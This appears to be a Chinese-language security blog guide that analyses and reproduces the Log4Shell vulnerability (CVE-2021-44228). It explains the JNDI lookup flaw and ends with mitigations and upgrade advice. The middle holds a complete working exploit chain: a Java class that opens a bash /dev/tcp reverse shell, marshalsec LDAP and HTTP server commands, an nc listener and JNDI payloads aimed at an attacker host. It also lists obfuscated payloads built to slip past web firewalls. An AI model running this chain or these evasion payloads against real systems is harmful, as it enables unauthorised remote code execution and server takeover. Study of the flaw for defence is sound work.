log4j2(CVE-2021-44228)漏洞复现与分析
字数 2936 2025-10-13 22:56:21

Apache Log4j2 远程代码执行漏洞(CVE-2021-44228)深入分析与复现指南

一、漏洞概述

CVE编号:CVE-2021-44228
漏洞名称:Log4Shell
威胁等级:严重(Critical)
影响组件:Apache Log4j2,一个基于Java的流行日志记录框架。
漏洞本质:由于Log4j2提供的Lookup功能未对用户输入进行充分验证,导致攻击者可以通过构造特殊的日志信息,触发JNDI注入,从而实现远程代码执行(RCE)。

二、核心知识:漏洞机制深度解析

要理解此漏洞,需要掌握三个关键技术的交互作用:

1. Log4j2 的 Lookup 机制

Lookup是Log4j2的一项功能,允许用户在日志配置或日志消息中动态地添加某些值。其语法格式为 ${prefix:name},其中prefix指定了查找的类型。

  • 示例
    • ${java:version}: 插入当前Java版本。
    • ${env:PATH}: 插入系统环境变量PATH的值。
    • 关键点${jndi:logging/context-name} 是一种特殊的Lookup,它允许通过JNDI(Java命名和目录接口) 从远程服务获取对象。

2. JNDI (Java Naming and Directory Interface)

JNDI是Java提供的一个API,用于通过名称来访问和定位各种服务和资源(如数据库、文件系统、目录服务等)。它支持多种协议,其中两种对此漏洞至关重要:

  • RMI (Remote Method Invocation): Java的远程方法调用协议。
  • LDAP (Lightweight Directory Access Protocol): 轻量级目录访问协议。
  • 漏洞利用关键:JNDI的一个危险特性是,它支持从远程服务器动态加载和实例化Java对象。如果JNDI客户端(即存在漏洞的应用程序)解析了一个指向恶意服务器的地址,该服务器可以返回一个指向恶意Java类的引用,客户端则会自动下载并执行该类。

3. 漏洞触发链条

漏洞的触发是上述两者结合的结果,其流程如下图所示:

flowchart TD
    A[攻击者构造恶意请求] --> B[应用程序记录包含<br>${jndi:ldap://evil.com/x}的日志]
    B --> C[Log4j2解析日志消息<br>识别JNDI Lookup表达式]
    C --> D[Log4j2向恶意LDAP服务器<br>evil.com 发起JNDI查询]
    D --> E[恶意LDAP服务器响应<br>并返回一个指向<br>http://evil.com/Exploit.class的引用]
    E --> F[存在漏洞的服务器<br>从HTTP地址下载并实例化Exploit类]
    F --> G[Exploit类的静态代码块<br>或构造函数中的恶意代码被执行]
    G --> H[成功实现远程代码执行<br>(如反弹Shell)]

三、受影响版本

  • 受影响版本:Apache Log4j 2.x <= 2.14.1
  • 安全版本:Apache Log4j 2.15.0 及以上版本(首次修复)

四、漏洞复现实践

环境准备

  1. 靶机:一台运行存在漏洞的Java应用(如文中提到的Solr服务)的服务器。
  2. 攻击机:一台可控的公网或内网服务器(Kali Linux或类似系统)。
  3. 工具
    • marshalsec: 用于快速启动恶意JNDI/LDAP服务器的工具。
    • Dnslog.cn: 用于无回显漏洞的初步验证。
    • Netcat: 用于接收反弹Shell。

复现步骤

步骤一:初步验证(利用DNSLog)
此步骤用于无害验证目标是否存在漏洞,且日志记录功能是否开启。

  1. 访问 dnslog.cn,获取一个临时域名,例如 abc123.dnslog.cn
  2. 向目标应用发送包含以下Payload的请求(例如通过HTTP头、参数等):
    ${jndi:ldap://${sys:java.version}.abc123.dnslog.cn}
    
  3. 刷新dnslog页面,如果看到有以你当前Java版本(如1.8.0_181)为子域名的DNS查询记录,则证明漏洞存在。

步骤二:实现远程代码执行(反弹Shell)

  1. 编写恶意Java类(Exploit)
    创建一个名为 Reverse.java 的文件,内容如下。此代码将在被加载时执行,尝试建立反向连接。

    import java.lang.Runtime;
    import java.lang.Process;
    public class Reverse {
        static {
            try {
                Runtime rt = Runtime.getRuntime();
                // 将命令修改为适合目标系统的命令(这里是Linux bash反弹Shell)
                String[] commands = {"bash", "-c", "bash -i >& /dev/tcp/攻击机IP/监听端口 0>&1"};
                Process pc = rt.exec(commands);
                pc.waitFor();
            } catch (Exception e) {
                // 忽略异常
            }
        }
    }
    
  2. 编译恶意类

    javac Reverse.java
    

    这将生成 Reverse.class 文件。

  3. 搭建恶意HTTP服务
    Reverse.class 文件放入一个目录,并在该目录下启动一个简单的HTTP服务器,端口为8080。

    python3 -m http.server 8080
    
  4. 启动恶意LDAP服务器
    使用 marshalsec 工具启动一个LDAP服务器,它会将客户端的JNDI请求重定向到你的HTTP服务。

    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://你的攻击机IP:8080/#Reverse" 5555
    

    此命令会在5555端口启动LDAP服务,当有客户端查询 Reverse 时,会指引其从 http://你的攻击机IP:8080/Reverse.class 下载类文件。

  5. 在攻击机监听端口

    nc -lvnp 4563  # 监听4563端口,等待反弹Shell连接
    
  6. 发送最终Payload触发漏洞
    向目标应用发送最终的攻击载荷:

    ${jndi:ldap://你的攻击机IP:5555/Reverse}
    
  7. 获取Shell
    如果一切配置正确,你将在Netcat监听端口中收到来自目标服务器的反向Shell连接,从而获得对目标系统的控制权。

五、绕过WAF的Payload技巧

文章列举了多种混淆Payload以绕过Web应用防火墙(WAF)规则的方法:

  1. 大小写混淆

    • ${jNdI:lDaP://evil.com/x}
    • ${${lower:JNDI}:${lower:LDA}P://evil.com/x}
  2. 利用默认值语法 ${:-}

    • ${${::-J}ndi:ldap://evil.com/x}
    • ${${env:NOT_EXIST:-j}ndi:${env:NOT_EXIST:-l}dap://evil.com/x}
  3. 字符拆分与组合

    • ${${lower:J}${lower:N}${lower:D}i:ldap://evil.com/x}
  4. Unicode编码

    • ${\u006a\u006e\u0064\u0069:\u006c\u0064\u0061\u0070://evil.com/x}\u006aj的Unicode编码)
  5. 多种技巧组合(最有效):

    • ${${a:-j}ndi:${lower:L}${upper:D}ap://evil.com/x}
    • ${jnd${upper:ı}:ldap://evil.com/x}(使用类似ı的字符)

六、修复与防御方案

  1. 紧急缓解措施(治标)

    • 设置系统属性:在启动Java应用时添加参数 -Dlog4j2.formatMsgNoLookups=true。此操作会全局禁用Lookup功能,从而阻断JNDI注入。
    • 修改日志配置:对于Log4j 2.10及以上版本,可在配置文件 log4j2.component.properties 中设置 log4j2.formatMsgNoLookups=true
    • 网络层控制:使用防火墙策略严格限制应用服务器的出站连接,禁止其随意访问外网,尤其是LDAP(389/636)和RMI(1099)等协议端口。
  2. 根本解决方案(治本)

    • 升级Log4j2:立即将Log4j2组件升级到官方发布的安全版本(2.15.0 或更高版本)。这是最有效、最彻底的修复方式。
  3. WAF规则更新

    • 部署能检测上述各种混淆技术的WAF规则,对包含可疑模式(如jndi:, ldap:, rmi:,以及各种大小写和编码变种)的请求进行拦截。

总结:CVE-2021-44228是一个典型的“供应链漏洞”,其危害性极大,因为日志功能是几乎所有应用程序的基础组件。理解其原理、掌握复现方法、并知晓如何防御和绕过防御,对于安全研究人员、开发人员和运维人员都至关重要。

Apache Log4j2 远程代码执行漏洞(CVE-2021-44228)深入分析与复现指南 一、漏洞概述 CVE编号 :CVE-2021-44228 漏洞名称 :Log4Shell 威胁等级 :严重(Critical) 影响组件 :Apache Log4j2,一个基于Java的流行日志记录框架。 漏洞本质 :由于Log4j2提供的 Lookup功能 未对用户输入进行充分验证,导致攻击者可以通过构造特殊的日志信息,触发 JNDI注入 ,从而实现远程代码执行(RCE)。 二、核心知识:漏洞机制深度解析 要理解此漏洞,需要掌握三个关键技术的交互作用: 1. Log4j2 的 Lookup 机制 Lookup是Log4j2的一项功能,允许用户在日志配置或日志消息中动态地添加某些值。其语法格式为 ${prefix:name} ,其中 prefix 指定了查找的类型。 示例 : ${java:version} : 插入当前Java版本。 ${env:PATH} : 插入系统环境变量PATH的值。 关键点 : ${jndi:logging/context-name} 是一种特殊的Lookup,它允许通过 JNDI(Java命名和目录接口) 从远程服务获取对象。 2. JNDI (Java Naming and Directory Interface) JNDI是Java提供的一个API,用于通过名称来访问和定位各种服务和资源(如数据库、文件系统、目录服务等)。它支持多种协议,其中两种对此漏洞至关重要: RMI (Remote Method Invocation) : Java的远程方法调用协议。 LDAP (Lightweight Directory Access Protocol) : 轻量级目录访问协议。 漏洞利用关键 :JNDI的一个危险特性是,它支持从远程服务器 动态加载和实例化Java对象 。如果JNDI客户端(即存在漏洞的应用程序)解析了一个指向恶意服务器的地址,该服务器可以返回一个指向恶意Java类的引用,客户端则会自动下载并执行该类。 3. 漏洞触发链条 漏洞的触发是上述两者结合的结果,其流程如下图所示: 三、受影响版本 受影响版本 :Apache Log4j 2.x <= 2.14.1 安全版本 :Apache Log4j 2.15.0 及以上版本(首次修复) 四、漏洞复现实践 环境准备 靶机 :一台运行存在漏洞的Java应用(如文中提到的Solr服务)的服务器。 攻击机 :一台可控的公网或内网服务器(Kali Linux或类似系统)。 工具 : marshalsec : 用于快速启动恶意JNDI/LDAP服务器的工具。 Dnslog.cn : 用于无回显漏洞的初步验证。 Netcat : 用于接收反弹Shell。 复现步骤 步骤一:初步验证(利用DNSLog) 此步骤用于无害验证目标是否存在漏洞,且日志记录功能是否开启。 访问 dnslog.cn ,获取一个临时域名,例如 abc123.dnslog.cn 。 向目标应用发送包含以下Payload的请求(例如通过HTTP头、参数等): 刷新dnslog页面,如果看到有以你当前Java版本(如 1.8.0_181 )为子域名的DNS查询记录,则证明漏洞存在。 步骤二:实现远程代码执行(反弹Shell) 编写恶意Java类(Exploit) 创建一个名为 Reverse.java 的文件,内容如下。此代码将在被加载时执行,尝试建立反向连接。 编译恶意类 这将生成 Reverse.class 文件。 搭建恶意HTTP服务 将 Reverse.class 文件放入一个目录,并在该目录下启动一个简单的HTTP服务器,端口为8080。 启动恶意LDAP服务器 使用 marshalsec 工具启动一个LDAP服务器,它会将客户端的JNDI请求重定向到你的HTTP服务。 此命令会在5555端口启动LDAP服务,当有客户端查询 Reverse 时,会指引其从 http://你的攻击机IP:8080/Reverse.class 下载类文件。 在攻击机监听端口 发送最终Payload触发漏洞 向目标应用发送最终的攻击载荷: 获取Shell 如果一切配置正确,你将在Netcat监听端口中收到来自目标服务器的反向Shell连接,从而获得对目标系统的控制权。 五、绕过WAF的Payload技巧 文章列举了多种混淆Payload以绕过Web应用防火墙(WAF)规则的方法: 大小写混淆 : ${jNdI:lDaP://evil.com/x} ${${lower:JNDI}:${lower:LDA}P://evil.com/x} 利用默认值语法 ${:-} : ${${::-J}ndi:ldap://evil.com/x} ${${env:NOT_EXIST:-j}ndi:${env:NOT_EXIST:-l}dap://evil.com/x} 字符拆分与组合 : ${${lower:J}${lower:N}${lower:D}i:ldap://evil.com/x} Unicode编码 : ${\u006a\u006e\u0064\u0069:\u006c\u0064\u0061\u0070://evil.com/x} ( \u006a 是 j 的Unicode编码) 多种技巧组合 (最有效): ${${a:-j}ndi:${lower:L}${upper:D}ap://evil.com/x} ${jnd${upper:ı}:ldap://evil.com/x} (使用类似 ı 的字符) 六、修复与防御方案 紧急缓解措施(治标) : 设置系统属性 :在启动Java应用时添加参数 -Dlog4j2.formatMsgNoLookups=true 。此操作会全局禁用Lookup功能,从而阻断JNDI注入。 修改日志配置 :对于Log4j 2.10及以上版本,可在配置文件 log4j2.component.properties 中设置 log4j2.formatMsgNoLookups=true 。 网络层控制 :使用防火墙策略严格限制应用服务器的出站连接,禁止其随意访问外网,尤其是LDAP(389/636)和RMI(1099)等协议端口。 根本解决方案(治本) : 升级Log4j2 :立即将Log4j2组件升级到官方发布的安全版本( 2.15.0 或更高版本)。这是最有效、最彻底的修复方式。 WAF规则更新 : 部署能检测上述各种混淆技术的WAF规则,对包含可疑模式(如 jndi: , ldap: , rmi: ,以及各种大小写和编码变种)的请求进行拦截。 总结 :CVE-2021-44228是一个典型的“供应链漏洞”,其危害性极大,因为日志功能是几乎所有应用程序的基础组件。理解其原理、掌握复现方法、并知晓如何防御和绕过防御,对于安全研究人员、开发人员和运维人员都至关重要。